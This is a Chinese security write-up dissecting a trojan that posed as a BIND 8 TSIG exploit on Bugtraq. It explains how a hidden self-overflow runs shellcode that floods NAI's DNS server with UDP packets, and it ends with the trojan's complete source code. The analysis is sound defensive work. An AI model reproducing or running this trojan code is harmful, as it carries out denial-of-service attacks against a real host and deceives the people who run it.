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来路：巅峰网络 时间：2007-7-21 11:50:14
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NAI公司的COVERT安全小组发现BIND 8中有一个严重的远程安全漏洞。详细分析
见我们网站上的：
"ISC Bind 8 TSIG缓冲区溢出漏洞"
http://security.nsfocus.com/showQuery.asp?bugID=1230
BUGTRAQ上马上有人匿名发送了一个所谓针对BIND 8的exploit代码（见附录）。
实际这是一个木马程序。它利用自己构造的一个溢出来执行shellcode,去攻击
dns1.nai.com(NAI的域名服务器)。
相当多的BUGTRAQ用户在下载了这个程序后，没有仔细分析就运行了它，导致NAI的
域名服务器受到"分布式"(套用一下名词)拒绝服务攻击，一度不能正常工作。
其实这种冒充exploit的木马程序并不鲜见。
以前就有一个冒充apache 1.3.4远程exploit的程序：
http://packetstorm.securify.com/trojans/apache.c
不过这个程序比较好识破，因为它的shellcode中实际上就是shell命令的一些16
进制数值，而且在程序的最后，使用一条相当显眼的语句执行shellcode:
execl("/bin/sh", "sh", "-c", shellcode, 0);
而这次的这个程序代码比较长，很多地方做得比较逼真，shellcode也是真正的
汇编代码，只是在中间一个不起眼的地方进行一个函数调用时，程序会发生溢出，
转去执行shellcode了。
很多人很难相信别人会花这么大的精力来设计一个木马程序，再加上代码做的相
当逼真，木马入口又比较隐蔽，因此上当的人不在少数。
下面让我们简单分析一下这个木马程序，看看它的真面目。
有问题的函数是set_ptr():
int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
char copy_buff[1024];
int revval;
memcpy(copy_buff, buff, 1024);
revval = buff[SHELL_OFFSET_1];
/* increment record usage count */
revval += BIND_OFF_01;
if (s)
if (!fork())
/* simply copy value to offset */
memcpy(©_buff[offset], &val, sizeof(val));
memcpy(buff, copy_buff, sizeof(copy_buff));
return 0;
}
这个函数其实没有做什么工作，只是将buff的内容拷贝到copy_buff,然后又从
copy_buff中拷回buff.只是在s的值不为零时，程序会fork()出一个子进程，
然后做了一个可疑的拷贝，将val的值(4个字节)拷贝到了copy_buff[offset]中，
我们看到copy_buff的大小是1024,如果offset的值大于1024,那么就可能发生溢出。
而跟踪一下set_ptr被调用的情况，会发现只有main()函数中的第287行附近的一
个调用，参数s的值不为零：
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
这里的val值就是shellcode的地址，而BIND_OFF_02在开头被定义：
#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
我们看到程序开头有一堆宏定义，目的就是让人搞不清楚这些宏到底是些什么意
思。
#define SHELL_OFFSET_1 26
#define SHELL_OFFSET_2 31
#define BIND_PKT_OFF 26 /* offset from beginning of packet */
#define BIND_OKT_SZ 14 /* rr */
#define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2
#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
#define BIND_OFF_03 (SHELL_OFFSET_1*2)
#define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)
BIND_OFF_02的宏定义看起来比较复杂，实际上是欺骗人的把戏，我开始一看这
里就头大了，搞不清楚怎么会有这么复杂的计算公式。:)而实际计算一下就得到：
BIND_OFF_02 = 26*(31 + 8) + 14 = 1028
这样shellcode的地址就会被拷贝到 copy_buff[1028]处，这实际上就是set_ptr()
函数在堆栈中保存的返回地址的地方。因此在执行set_ptr()函数时，程序发生了
溢出，程序流程转向shellcode.
而shellcode中实际上有两部分构成，一部分是dns_packet[]中，一部分在
linux_shellcode[]中。
反汇编shellcode的结果显示,dns_packet[]中的代码只是执行了一个time(0),
而linux_shellcode[]中的shellcode则循环往161.69.3.150的UDP 53端口发送
1024字节的报文。这个地址实际上是dns1.nai.com,看来是这个exploit的作者
想给NAI搞一个恶作剧.因为如果shellcode里做一些其他的手脚，后果可能就
更为严重了。
下面是用objdump反汇编shellcode得到的结果:
0804aa20 <dns_packet>:
804aa20: 31 c0 xorl %eax,%eax
804aa22: 48 decl %eax
804aa23: 50 pushl %eax
804aa24: 50 pushl %eax
804aa25: 31 db xorl %ebx,%ebx
804aa27: 8d 05 0d 00 00 00 leal 0xd,%eax
804aa2d: cd 80 int $0x80 # time(0)
804aa2f: 83 c4 08 addl $0x8,%esp
804aa32: 3d 04 03 02 01 cmpl $0x1020304,%eax
804aa37: 7c 05 jl 804aa3e <dns_packet+0x1e>
804aa39: e8 54 53 49 47 call 4f4dfd92 <_end+0x47495046>
'T'S'I'G'
804aa3e: e8 4e 41 4d 45 call 4d51eb91 <_end+0x454d3e45>
'N'A'M'E'
804aa43: e8 53 49 47 4e call 564bf39b <_end+0x4e47464f>
'S'I'G'N'
804aa48: 41 'A' incl %ecx
804aa49: 54 'T' pushl %esp
804aa4a: 55 'U' pushl %ebp
804aa4b: 52 'R' pushl %edx
804aa4c: 45 'E' incl %ebp
804aa4d: e8 52 53 41 00 call 845fda4 <_end+0x415058>
'R'S' 'A'
0804aa60 <linux_shellcode>:
804aa60: eb 34 jmp 804aa96 <linux_shellcode+0x36>
# socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)
804aa62: 5e popl %esi
804aa63: bb 01 00 00 00 movl $0x1,%ebx
804aa68: 89 f1 movl %esi,%ecx
804aa6a: b8 66 00 00 00 movl $0x66,%eax
804aa6f: cd 80 int $0x80
# sendto(fd, buf, 1024, 0, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("161.69.3.150")}, 16)
804aa71: 89 46 14 movl %eax,0x14(%esi)
804aa74: 8d 46 30 leal 0x30(%esi),%eax
804aa77: 89 46 18 movl %eax,0x18(%esi)
804aa7a: 31 c0 xorl %eax,%eax
804aa7c: 89 46 20 movl %eax,0x20(%esi)
804aa7f: 8d 46 0c leal 0xc(%esi),%eax
804aa82: 89 46 24 movl %eax,0x24(%esi)
# 循环执行sendto()
804aa85: b8 66 00 00 00 movl $0x66,%eax
804aa8a: bb 0b 00 00 00 movl $0xb,%ebx
804aa8f: 8d 4e 14 leal 0x14(%esi),%ecx
804aa92: cd 80 int $0x80
804aa94: eb ef jmp 804aa85 <linux_shellcode+0x25>
804aa96: e8 c7 ff ff ff call 804aa62 <linux_shellcode+0x2>
804aa9b: 02 00 00 00
804aa9f: 02 00 00 00
804aaa3: 11 00 00 00
804aaa7: 02 00
804aaa9: 00 35 a1 45 03 96 0xa1 0x45 0x03 0x96 = 161.69.3.150 = dns1.nai.com
804aaaf: ff ff ff ff ef
804aab4: ff ff ff 00
804aab8: 04 00 00 00
804aabc: 00 00 00 02
804aac0: 5f 9a 80 10 00 00 00
804aac8: 2f 62 69 6e 2f 73 68 "/bin/sh"
结束语：要想不上这种木马程序的当，在拿到一个exploit程序时，应当首先分
析其shellcode代码(如果有的话)，再仔细查看程序代码，分析意图，查找可疑
的函数或者调用(例如system()，exec*()等等)。
<完>
附木马程序：
From Anonymous <nobody@replay.com> Wed Jan 31 18:06:24 2001
Date: Thu, 31 Jan 2001 18:06:19 -0400
From: Anonymous <nobody@replay.com>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Bind8 exploit
Message-ID: <C5119AD12E92D311928E009027DE4CCA554903@replay.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Mailer: Internet Mail Service (5.5.2650.21)
/*
* Implements TSIG buffer mismanagement overflow for incorrect signatures. That
* one was really nice bug!
* Thanks NAI for nice bug!
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <string.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#include <signal.h>
#ifndef max
#define max(x,y) (((x)>(y))?(x):(y))
#endif
#define SHELL_OFFSET_1 26
#define SHELL_OFFSET_2 31
#define BIND_PKT_OFF 26 /* offset from beginning of packet */
#define BIND_OKT_SZ 14 /* rr */
#define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2
#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
#define BIND_OFF_03 (SHELL_OFFSET_1*2)
#define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)
char dns_packet[] =
/* TSIG bind req, \xe8 used as field separator. */
"\x31\xc0\x48\x50\x50\x31\xdb\x8d\x05\x0d\x00\x00\x00\xcd\x80\x83"
"\xc4\x08\x3d\x04\x03\x02\x01\x7c\x05\xe8TSIG\xe8NAME\xe8SIGNATURE\xe8RSA\0";
/* zeroes in all shellcodes are allowed - we encode them anyway.. */
char linux_shellcode[] = /* modifyed Aleph1 linux shellcode to
* bind to tcp port 31338. hey aleph1
* :) */
"\xeb\x34\x5e\xbb\x01\x00\x00\x00\x89\xf1\xb8\x66\x00\x00\x00\xcd"
"\x80\x89\x46\x14\x8d\x46\x30\x89\x46\x18\x31\xc0\x89\x46\x20\x8d"
"\x46\x0c\x89\x46\x24\xb8\x66\x00\x00\x00\xbb\x0b\x00\x00\x00\x8d"
"\x4e\x14\xcd\x80\xeb\xef\xe8\xc7\xff\xff\xff\x02\x00\x00\x00\x02"
"\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x35\xa1\x45\x03\x96\xff"
"\xff\xff\xff\xef\xff\xff\xff\x00\x04\x00\x00\x00\x00\x00\x00\x02"
"\x5f\x9a\x80\x10\x00\x00\x00/bin/sh\0";
char bsd_shellcode[] =
/* freebsd bind shellcode by LaMerZ , thnx :) */
"\xeb\x37\x5e\x6a\x11\x6a\x02\x6a\x02\x6a\x66\x8d\x05\x61\x00\x00"
"\x00\xcd\x80\x89\xc2\x6a\x10\x89\xf0\x50\x31\xc0\x50\x68\x24\x10"
"\x00\x00\x8d\x46\x0f\x50\x52\x68\x88\x00\x00\x00\x8d\x05\x85\x00"
"\x00\x00\xcd\x80\x83\xc4\x1c\xeb\xdc\xe8\xc4\xff\xff\xff\x00\x02"
"\x00\x35\xa1\x45\x03\x96\xe8\xb1\xff\xff\xff/bin/sh\0";
struct remote {
char *osname;
char *bindver;
unsigned long ret; /* return addr */
unsigned long otebp; /* offset ot %ebp,bind specific */
char *shellcode;
} remote[] = {
{
"Linux RedHat 6.0", "8.2.x", 0xbfff0508, 104, linux_shellcode
},
{
"Linux RedHat 6.2", "8.2.x", 0xbfff0a04, 80, linux_shellcode
},
{
"Linux RedHat 7.0", "8.2.x", 0xbfff040a, 84, linux_shellcode
},
{
"Linux Slackware 7", "8.2.x", 0xbfffe123, 20, linux_shellcode
},
{
"Linux Debian (all)", "8.2.x", 0xbfffd0aa, 110, linux_shellcode
},
{
"FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
},
{
"FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
},
{
"FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
},
{
NULL, NULL, 0, 0
}
};
void
usage_func(char *pname)
{
int i;
fprintf(stderr, "Usage: %s remote_addr domainname target_id\n", pname);
fprintf(stderr, "Targets:\n");
for (i = 0; remote[i].osname; i++)
fprintf(stderr, " %d - %s (%s)\n", i, remote[i].osname, remote[i].bindver);
fprintf(stderr, "\n");
fprintf(stderr, " Example usage:\n");
fprintf(stderr, "$ host -t ns domain.com\n");
fprintf(stderr, "domain.com name server dns1.domain.com\n");
fprintf(stderr, "$ ./bind8_ex dns1.domain.com domain.com 0\n");
fprintf(stderr, " [..expl output..]\n\n");
exit(1);
}
int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
char copy_buff[1024];
int revval;
memcpy(copy_buff, buff, 1024);
revval = buff[SHELL_OFFSET_1];
/* increment record usage count */
revval += BIND_OFF_01;
if (s)
if (!fork())
/* simply copy value to offset */
memcpy(©_buff[offset], &val, sizeof(val));
memcpy(buff, copy_buff, sizeof(copy_buff));
return 0;
}
unsigned long
Resolve(char *h)
{
struct in_addr q;
struct hostent *z;
if ((inet_aton(h, &q)) == 0) {
z = gethostbyname(h);
if (!z)
return -1;
(void) memcpy((void *) &q, (void *) z->h_addr, z->h_length);
}
return q.s_addr;
}
/* pull out a compressed query name */
char *
dnsprintflabel(char *s, char *buf, char *p)
{
unsigned short i, len;
char *b = NULL;
len = (unsigned short) *(p++);
i = len + BIND_PKT_OFF;
/* invalid length? */
if (i)
return NULL;
while (len) {
while (len >= 0xC0) {
if (!b)
b = p + 1;
p = buf + (ntohs(*((unsigned short *) (p - 1))) & ~0xC000);
len = (unsigned short) *(p++);
}
for (i = 0; i < len; i++)
*(s++) = *(p++);
*(s++) = '.';
len = (unsigned short) *(p++);
}
*(s++) = 0;
if (b)
return (b);
return (p);
}
int
proxyloop(int s)
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
sleep(1);
printf("Entering proxyloop..\n");
strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(s, snd, strlen(snd));
for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(s, &rset);
maxfd = max(fileno(stdin), s) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd) - 2, stdin);
write(s, snd, strlen(snd));
}
if (FD_ISSET(s, &rset)) {
bzero(rcv, sizeof(rcv));
if ((n = read(s, rcv, sizeof(rcv))) == 0)
exit(0);
if (n < 0) {
return -3;
}
fputs(rcv, stdout);
}
}
return 0;
}
int
main(int argc, char *argv[])
{
HEADER *dnsheader;
struct sockaddr_in to;
char expl_buffer[PACKETSZ + 8192];
int off, i, x;
char ch, *remote_addr = NULL, *dmn = NULL;
char *walker;
unsigned char *shellcode;
int align = 0;
unsigned long remote_ip, addr;
int saved_len_1, saved_len_2;
int type = -1;
int fd, fd2;
if (argc != 4) {
usage_func(argv[0]);
}
dmn = strdup(argv[1]);
remote_addr = strdup(argv[2]);
type = atoi(argv[3]);
if (type < 0 || !remote_addr || !dmn) {
usage_func(argv[0]);
}
printf(" [+] Trying to resolve %s ...\n", remote_addr);
remote_ip = Resolve(remote_addr);
if (remote_ip == -1) {
fprintf(stderr, " [-] failed to resolve %s\n", remote_addr);
exit(1);
} else {
printf(" [+] %s -> %#lx...\n", remote_addr, remote_ip);
}
/* block signal to allow these signals in bindshell */
signal(SIGHUP, SIG_IGN);
signal(SIGCHLD, SIG_IGN); /* well.. */
signal(SIGINT, SIG_IGN);
printf(" [+] Remote OS %s, using domain %s\n", remote[type].osname, dmn);
printf(" [+] Offset: 0x%08x, bind specific value: %d\n", remote[type].ret, remote[type].otebp);
shellcode = (unsigned char *) malloc(PACKETSZ + 8192);
memset(shellcode, 0x90, PACKETSZ);
addr = remote[type].ret;
for (i = 0; i < sizeof(dns_packet); i++)
shellcode[i] = dns_packet[i];
if (i > 0) {
saved_len_1 = i;
}
for (x = 0; x < sizeof(linux_shellcode); i++, x++)
shellcode[i] = linux_shellcode[x];
if (i) {
saved_len_2 = i;
}
for (x = 0; x < sizeof(bsd_shellcode); i++, x++)
shellcode[i] = bsd_shellcode[x];
/* encode offset */
addr = (unsigned long) saved_len_1 - SHELL_OFFSET_1 - 4;
shellcode[SHELL_OFFSET_1 + 3] = (addr >> 24) & 0xff;
shellcode[SHELL_OFFSET_1 + 2] = (addr >> 16) & 0xff;
shellcode[SHELL_OFFSET_1 + 1] = (addr >> 8) & 0xff;
shellcode[SHELL_OFFSET_1] = (addr) & 0xff;
addr = (unsigned long) saved_len_2 - SHELL_OFFSET_2 - 4;
shellcode[SHELL_OFFSET_2 + 3] = (addr >> 24) & 0xff;
shellcode[SHELL_OFFSET_2 + 2] = (addr >> 16) & 0xff;
shellcode[SHELL_OFFSET_2 + 1] = (addr >> 8) & 0xff;
shellcode[SHELL_OFFSET_2] = (addr) & 0xff;
printf(" [+] shellcode length: %d\n", i);
/*
* now build packet
* set pointer to itself. dont modify BIND_OFF_02, it was
* bruteforced.. and worked with every bind i sploited.
*/
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
/* setup tsig info */
set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
/* count of records */
if (i > (SHELL_OFFSET_2 - 10)) {
set_ptr(shellcode, BIND_OFF_03, i, 0);
} else {
i += (SHELL_OFFSET_2 / 2);
i -= (SHELL_OFFSET_2 % 2); /* thnx enr1qe! :) */
set_ptr(shellcode, BIND_OFF_03, i, 0);
}
/* store return ADDR !! */
set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);
/* copy and rebuild packet depended stuff */
memcpy(expl_buffer, shellcode, PACKETSZ);
dnsheader = (HEADER *) & expl_buffer;
memset(dnsheader, 0, sizeof(HEADER));
dnsheader->id = htons(getpid());
dnsheader->qr = 1;
dnsheader->aa = 1;
/* tsig query! */
dnsheader->opcode = QUERY;
dnsheader->qdcount = htons(1);
dnsheader->arcount = htons(1);
/*
* encode packet ...
*/
dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)), (char *) ((unsigned long) &expl_buffer[0] + sizeof(HEADER) + 1));
walker = (char *) dnsheader + sizeof(HEADER) + strlen(remote_addr);
PUTSHORT(T_SIG, walker);
/*
* packet is built, connect and sent shellcode. what can be easier?
* :)
*/
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(1);
}
memset(&to, 0, sizeof(to));
to.sin_family = AF_INET;
to.sin_port = htons(53);
to.sin_addr.s_addr = remote_ip;
if ((sendto(fd, &expl_buffer, PACKETSZ, 0, (struct sockaddr *) & to, sizeof(struct sockaddr)) != PACKETSZ)) {
perror("sendto");
exit(1);
}
/* attempt to connect to bindshell on port 31338 */
if ((fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket");
exit(1);
}
/* linux & freebsd shellcodes bindport is same, so dont even check. */
to.sin_port = htons(31338);
if (connect(fd2, (struct sockaddr *) & to, sizeof(struct sockaddr)) < 0) {
perror("connect");
exit(1);
}
proxyloop(fd2);
} |
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